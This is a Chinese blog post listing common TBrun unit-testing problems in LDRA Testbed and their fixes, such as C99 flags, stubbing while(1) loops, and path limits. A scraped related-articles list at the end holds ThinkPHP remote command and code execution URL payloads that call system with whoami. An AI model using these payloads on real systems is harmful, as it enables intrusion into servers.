LDRA Testbed(TBrun)软件单元测试_常见问题及处理

系列文章目录

LDRA Testbed软件静态分析_操作指南
LDRA Testbed软件静态分析_自动提取静态分析数据生成文档
LDRA Testbed软件静态分析_Jenkins持续集成(自动静态分析并用邮件自动发送分析结果)
LDRA Testbed软件静态分析_软件质量度量
LDRA Testbed软件静态分析_常见问题及处理
LDRA Testbed(TBrun)软件单元测试_操作指南、实例讲解
LDRA Testbed(TBrun)软件单元测试_常见问题及处理
LDRA Testbed(TBrun)软件集成测试_操作指南、实例讲解
LDRA Testbed(TBrun)软件集成测试_常见问题及处理
LDRA Testbed(TBrun)软件单元/集成测试_自动提取测试用例数据生成文档
粉丝问题解答系列文章… …


文章目录

  • 系列文章目录
  • 前言
  • 一、执行测试用例时报内存不足
  • 二、局部变量未定义在函数开头,编译报错
  • 三、如何处理被测函数中的while(1)死循环
  • 四、无法识别部分关键字
  • 五、无法打开源文件
  • 六、无法打开*.h头文件,无法识别自定义的数据类型、变量、函数等
  • 七、执行测试用例时报“尝试读取/写入受保护的内存”
  • 八、测试用例执行通过,但无法生成覆盖率
  • 九、路径不支持中文
  • 总结


前言

通过前面的几篇文章,LDRA Testbed(TBrun)软件单元测试的内容基本讲解完了,本篇文章将针对使用TBrun进行软件单元测试的常见问题进行介绍。


一、执行测试用例时报内存不足

TBrun编译正确,但在执行测试用例时,提示运行内存不足。
以IAR为例,错误现象如下:
在这里插入图片描述
解决措施:
调整IAR下两个文件(STM32F030C6.ddf、stm32f030x6.icf),增加给Flash和ARM分配的大小,具体如下图所示:
在这里插入图片描述
在这里插入图片描述

二、局部变量未定义在函数开头,编译报错

老一点的编译器可能不支持局部变量定义在函数的非开头位置,比如C89标准,常见的示例如下:

void test_func()
{int a;printf("test!\n");int b;//可能报错for(int i = 0;i < 10;i++)//可能报错{......}
}

解决办法:
在编译命令中增加支持C99标准(在Configure->Driver Build & Execution Options的Build Command中添加“-std=c99”),添加方式如下:
在这里插入图片描述
在这里插入图片描述

三、如何处理被测函数中的while(1)死循环

有时候我们会遇到被测函数中存在while(1)的情况,这个时候执行测试用例会陷入死循环,无法得到测试结果。有如下两种处理方案:
1、在被测源码中注释掉while(1),使其只执行1次。这种方式比较简单粗暴,但是不好维护,每次回归新的软件版本时,都需要更改一次代码。
2、在TBrun中用宏定义替换while,可以控制其执行设定的次数。这种方式操作稍微麻烦一点,但是可维护性更好,编写的用例在后续的回归测试中可以直接执行。操作示例如下:
在这里插入图片描述
①. 选择含有while(1)的源文件,右键Code Inserts->"View \ Edit Pre-Include Code"中插入宏定义替换while,比如:

static int loop_cnt=0;
int stub_while(void)
{loop_cnt++;if(loop_cnt>3)//设置你想执行的循环次数{return 0;}else{return 1;}
}
#define while(A) while(stub_while())

②. 选择含有while(1)的源文件,右键Code Inserts->“View \ Edit Post-Include Code”中插入代码,取消对while的宏替换:

#undef while(A)

四、无法识别部分关键字

Testbed(TBrun)不能识别部分关键字,需要将源代码中使用到的地方注释掉,目前已知的有__attribute__和__asm__。
注:
__attribute__是GNU C编译器提供的一个关键字,用于声明函数、变量或类型的特殊属性;
‌__asm__是C/C++中的一个关键字,用于在C/C++源码中内嵌汇编语言。

五、无法打开源文件

Testbed(TBrun)有时候会出现无法打开/导入被测源文件的情况,可能有以下几个原因导致:
1、源文件路径或名称中包含中文;
2、源文件路径太深,导致路径+源文件名称的字符超长;
3、源文件内容中包含非常长的字符串;
4、源文件的代码总行数过长。
基于上述原因,解决方法如下:
1、将路径或源文件名称中的中文改为英文;
2、减少路径层次,避免路径+源文件名称的字符超长;
3、注释掉源文件内容中超长的字符串;
4、拆解行数过多的源文件,每个源文件建议不超过4000行。
注:上述2、3、4问题大多出现在低版本的Testbed(TBrun)中,高版本的软件中较少出现。

六、无法打开*.h头文件,无法识别自定义的数据类型、变量、函数等

有些时候在编译测试用例时,会提示某些数据类型、变量、函数等未定义,或者无法打开某某.h头文件,这些错误都是类似原因造成的,原因分析和解决方案可参考前文《【粉丝答疑(1)】使用LDRA Testbed(TBrun)进行单元测试编译时报自定义的数据类型错误_问题排查及解决》。

七、执行测试用例时报“尝试读取/写入受保护的内存”

有些时候在执行测试用例时,会提示“尝试读取/写入受保护的内存”错误,原因分析和解决方案可参考前文《【粉丝答疑(2)】使用LDRA Testbed(TBrun)执行单元测试时报“尝试读取/写入受保护的内存”错误_问题排查及解决》。

八、测试用例执行通过,但无法生成覆盖率

这个比较诡异,目前分析可能的原因大概有:1、之前执行用例时发生过异常,或者还没执行结束时强制结束了运行,造成有些过程文件损坏了;2、被测函数中存在非常多次数的循环,源码插装后运行耗时很久,覆盖率文件生成错误;3、被测源程序本身存在缺陷,比如有数组越界、空指针解引用等,实际已导致程序运行崩溃,但TBrun没有报错。
解决方法:1、重新创建一个测试序列或测试工程(记得重新命名);2、如果第1种方法不行,直接对工作空间进行初始化,清理整个workarea(记得先把之前有用的东西保存备份),操作如下:
在这里插入图片描述
在这里插入图片描述

九、路径不支持中文

Testbed(TBrun)不支持中文路径,这点一定要注意。不管是新建工程的源码路径,还是导出用例的路径,都不支持中文。
切记这一点,不然报错可能会让你一头雾水,排查费时费力。(一般会报没有这些文件的权限;或者没有任何错误提示,但是操作不成功)


总结

好了,到此为止,LDRA Testbed(TBrun)软件单元测试的内容已经全部讲完,如果有问题,欢迎私信提问(不经常登录,回复可能不及时,见谅)。下一篇文章将开始讲解如何使用Testbed(TBrun)进行软件集成测试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1544212.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

太爱这5本书了,建议所有大模型人去翻烂它❗

要说现在最热门的技术&#xff0c;可谓非大模型莫属&#xff01; 不少小伙伴都想要学习大模型技术&#xff0c;转战AI领域&#xff0c;以适应未来的大趋势&#xff0c;寻求更有前景的发展~~ 然而&#xff0c;在学习大模型技术这条道路上&#xff0c;却不知道如何进行系统的学…

DQL学习

一、基础查询 1.查询多个字段 select 字段列表 from 表名; select * from 表名;-- 查询所有数据 但不建议使用&#xff01;&#xff01;&#xff01;&#xff01; 2.去除重复记录 select DISTINCT 字段列表 from 表名; 3.起别名 as&#xff1b;as也可以省略但中间要加空…

关于宝塔PHP getenv无法获取环境变量问题解决办法

今天有用ThinkPHP8接入阿里云OSS时&#xff0c;需要用的用到getenv()来读取环境变量&#xff0c;因为新版OSS SDK是用环境变更来设置AK的。 现象 正常执行PHP文件&#xff0c;可以取到环境变量&#xff1b;但是通过nginxphp-fpm调用脚本取到不到环境变量 原因 php-fpm为了防止…

车辆检测系统源码分享

车辆检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vision …

算法4-----综合训练(4)

一&#xff1a;单词搜索 题目&#xff1a; 给定一个m*n的二位字符网格和一个字符串单词。如果单词存在于网格中&#xff0c;返回true&#xff0c;不然&#xff0c;返回false。 注意&#xff1a;单词必须按照字母顺序&#xff0c;通过相邻的单元格内的字母构成&#xff0c;同…

停车场管理系统的设计与实现

摘 要 如今社会上各行各业&#xff0c;都喜欢用自己行业的专属软件工作&#xff0c;互联网发展到这个时候&#xff0c;人们已经发现离不开了互联网。新技术的产生&#xff0c;往往能解决一些老技术的弊端问题。因为传统停车场管理系统信息管理难度大&#xff0c;容错率低&…

使用豆包Marscode 创建了一个”天气预报“小应用

以下是「豆包MarsCode 体验官」优秀文章&#xff0c;作者一拳干爆显示器。 前言 本文介绍了我第一次使用我在MarsCode IDE制作了一款天气预报的应用 其中在正文的头部以及结语部分发表了我在MarsCode编程中的体验情况&#xff0c;而正文的中间主要是我项目制作的细节步骤 豆…

SPWM正弦波控制

目录 前言一、PWM简介二、SPWM基本原理2.1 SPWM简介2.2 SPWM控制方法2.2.1 直接计算法2.2.2 自然采样法2.2.3 谐波法 2.3 SPWM的注意点2.3.1 死区效应2.3.2 过调制2.3.3 转矩与转速控制 三、SPWM实现四、补充 前言 本文主要介绍SPWM原理及C语言单片机的实现 一、PWM简介 PWM是P…

Vue 响应式监听 Watch 最佳实践

一. 前言 上一篇文章我们学习了 watch 的基础知识&#xff0c;了解了它的基本使用方法及注意事项&#xff0c;本篇文章我们继续了解在Vue 中 响应式监听 watch 的妙用。了解 watch 的基础使用请参考上一篇文章&#xff1a; 详解 Vue 中 Watch 的使用方法及注意事项https://bl…

ARM单片机的中断详细过程(重要)

ARM单片机的中断详细过程&#xff08;重要&#xff09; 一、ARM异常中断 ARM的异常&#xff08;中断源&#xff09;总共分为三类&#xff08;八种&#xff09;&#xff1a; 三类&#xff1a; &#xff08;1&#xff09;执行指令引起的直接异常&#xff1a;软件中断&#xff…

0920作业+思维导图

一、 写一个shell脚本&#xff0c;将以下内容放到脚本中&#xff1a; 在家目录下创建目录文件&#xff0c;dirdir下创建dir1和dir2把当前目录下的所有文件拷贝到dir1中&#xff0c;把当前目录下的所有脚本文件拷贝到dir2中把dir2打包并压缩为dir2.tar.xz再把dir2.tar.xz移动到…

13.第二阶段x86游戏实战2-动态模块地址

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 本次游戏没法给 内容参考于&#xff1a;微尘网络安全 本人写的内容纯属胡编乱造&#xff0c;全都是合成造假&#xff0c;仅仅只是为了娱乐&#xff0c;请不要…

LabVIEW项目编码器选择

在LabVIEW项目中&#xff0c;选择增量式&#xff08;Incremental Encoder&#xff09;和绝对式&#xff08;Absolute Encoder&#xff09;编码器取决于项目的具体需求。增量式编码器和绝对式编码器在工作原理、应用场景、精度和成本等方面存在显著差异。以下从多方面详细阐述两…

MySql数据库---单表查询,高级查询,外键约束,多表关系,建表原则

思维导图 模糊查询 select * from 表名 where 列名 like 匹配符; 符号: _ 表示一个任意字符 符号: % 表示0或者多个任意字符 # &#xff08;1&#xff09;查询商品名称含有"香"字的所有商品信息&#xff1b; select * from product where pname like %香%; # &#x…

【车联网安全】车端知识调研

一、CAN总线&#xff1a; 1、定义&#xff1a; CAN 总线相当于汽车的神经网络&#xff0c;连接车内各控制系统,其通信采用广播机制&#xff0c;各连接部件均可收发控制消息&#xff0c;通信效率高&#xff0c;可确保通信实时性。当前市场上的汽车至少拥有一个CAN网络&#xff0…

Thinkphp(TP)

1.远程命令执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami 2.远程代码执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[1][]…

多模态文档编辑器flowmix/docx,9月更新复盘!

嗨, 大家好, 我是徐小夕. 之前一直在社区分享零代码&低代码的技术实践&#xff0c;也陆陆续续设计并开发了多款可视化搭建产品&#xff0c;比如&#xff1a; H5-Dooring&#xff08;页面可视化搭建平台&#xff09;V6.Dooring&#xff08;可视化大屏搭建平台&#xff09;橙…

js发送邮件至指定邮箱功能实现方式和技巧?

js发送邮件至指定邮箱的教程&#xff1f;怎么使用Node.js发信&#xff1f; 无论是用户反馈、订单确认还是密码重置&#xff0c;js发送邮件至指定邮箱的需求无处不在。AokSend将深入探讨js发送邮件至指定邮箱的实现方式和技巧&#xff0c;帮助开发者更好地理解和应用这一功能。…

html TAB、table生成

1. 代码 <!DOCTYPE html> <head> <meta charset"UTF-8"> <title>Dynamic Tabs with Table Data</title> <style> /* 简单的样式 */ .tab-content { display: none; border: 10px solid #ccc; padding: 30px; mar…

道路车辆功能安全 ISO 26262标准(3)—概念阶段

写在前面 本系列文章主要讲解道路车辆功能安全ISO26262标准的相关知识&#xff0c;希望能帮助更多的同学认识和了解功能安全标准。 若有相关问题&#xff0c;欢迎评论沟通&#xff0c;共同进步。(*^▽^*) 1. 道路车辆功能安全ISO 26262标准 3. ISO 26262-3 概念阶段 我们来…